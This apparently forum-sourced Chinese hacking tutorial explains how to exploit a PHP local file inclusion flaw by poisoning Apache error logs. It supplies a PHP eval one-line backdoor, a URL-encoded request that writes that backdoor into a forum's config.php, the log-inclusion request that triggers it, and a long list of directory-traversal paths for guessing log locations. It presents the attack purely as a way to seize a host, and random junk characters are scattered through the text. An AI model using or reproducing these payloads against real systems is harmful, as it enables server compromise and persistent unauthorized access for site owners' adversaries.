php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

4 X* u& K9 U7 f# L1 Y0 h比如还是这句一句话木马
  p% o  N% w! i- N1 Y  G- b<?eval($_POST[cmd]);?>   
" l1 C- S: s, e9 ]/ o
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
) i! e: N( O2 a5 y, I: cfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

3 J  C9 [3 K! y8 X0 V5 `: G; q<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
0 [8 S' w: u: b+ ?) e( K! N1 t& n# t$ Ifclose($fp);?>   //在config.php里写入一句木马语句

我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
8 o( p6 G' L0 \6 c4 I, f转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
% ?* Z3 G) `' }( e) M%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
. H  V/ u. U9 _) {4 g3 A0 [( z4 mfclose%28%24fp%29%3B%3F%3E
我们提交
( [0 Y4 j% ?7 K4 I( C/ M+ \http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
$ ~0 F8 o* w4 J' \%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
/ ]) J# }( F# K6 ^cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
. p4 _! L4 W3 Z4 G0 v$ z
& P3 U8 M9 [0 ~1 ^这样就错误日志里就记录下了这行写入webshell的代码。
4 U, Y  M9 f* C: R* T) w我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
4 u1 Z5 x& w( u* d5 A
" K% s. g* A- ~9 y这样webshell就写入成功了，config.php里就写入一句木马语句
. u) K7 C0 Y7 D- S0 o! \3 mOK.
4 u8 {) D* G  ]  S. ~/ ]! ]http://www.xxx.com/forum/config.php这个就成了我们的webshell
5 T+ N. [( G: x( C& U2 O直接用lanker的客户端一连，主机就是你的了。

, g; n: ~# `' ^PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

3 l9 |3 K4 `/ g; Z其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
1 G$ w, m- o3 ^) B1 }! C" e6 E../../apache/logs/access.log
../../../apache/logs/error.log
2 {" c+ [' j0 a/ t../../../apache/logs/access.log
$ |" d, w, x% P0 ~. p5 Q* o; m../../../../../../../../../../etc/httpd/logs/acces_log
" K# z" o- }8 X& I/ ?, T../../../../../../../../../../etc/httpd/logs/acces.log
+ G( _8 |" ^' V! G4 g../../../../../../../../../../etc/httpd/logs/error_log
5 M$ v/ K9 y" b! O) o  P+ t" W) T2 q../../../../../../../../../../etc/httpd/logs/error.log
: L8 `" G3 ]2 Q  B, l../../../../../../../../../../var/www/logs/access_log
: I9 l4 `& W2 ^/ x2 J$ ~../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
7 K( C- A  ?8 I, G' o: M% Y../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
4 Y' M; \& H3 B! Y* `1 r../../../../../../../../../../var/www/logs/error_log
9 F+ D0 _% a' I/ M9 D2 z0 P2 T../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
# g$ |  z8 z" B../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
2 z/ [9 A' n7 j+ a5 h9 }../../../../../../../../../../var/log/access_log
, W: t3 Q$ q! @: a3 L9 y9 g../../../../../../../../../../var/log/error_log
! X6 m) z& ]( w+ D- Z/var/log/httpd/access_log      
/var/log/httpd/error_log     
../apache/logs/error.log     
../apache/logs/access.log
../../apache/logs/error.log
# }, T* S5 f  l/ S../../apache/logs/access.log
! `% m6 }" {5 q# y../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
3 L; `8 P3 R0 Y3 _/etc/httpd/logs/error.log
( n' g, L- i6 {6 ~; {. D/ G7 G2 R/var/www/logs/access_log
, \5 u- E5 m1 g$ \. Q/var/www/logs/access.log
/ t" X* d/ k6 y: \, x) t/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
  o' G2 T& Q9 ~& A0 u6 E8 `% R* Y/var/log/apache/access_log
/var/log/apache/access.log
6 F( w0 ~9 J- |7 w' U: \1 E' H0 K/var/log/access_log
/var/www/logs/error_log
0 @/ D" h( Y$ @, b# w/var/www/logs/error.log
! r% B8 c  }% ^( t: a# I/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
5 i' ^$ i, b3 r! Y; |/var/log/apache/error.log
5 W9 h" o0 j* W: Y! M1 G/var/log/access_log
( _/ a0 a$ K6 y3 x: v: c/var/log/error_log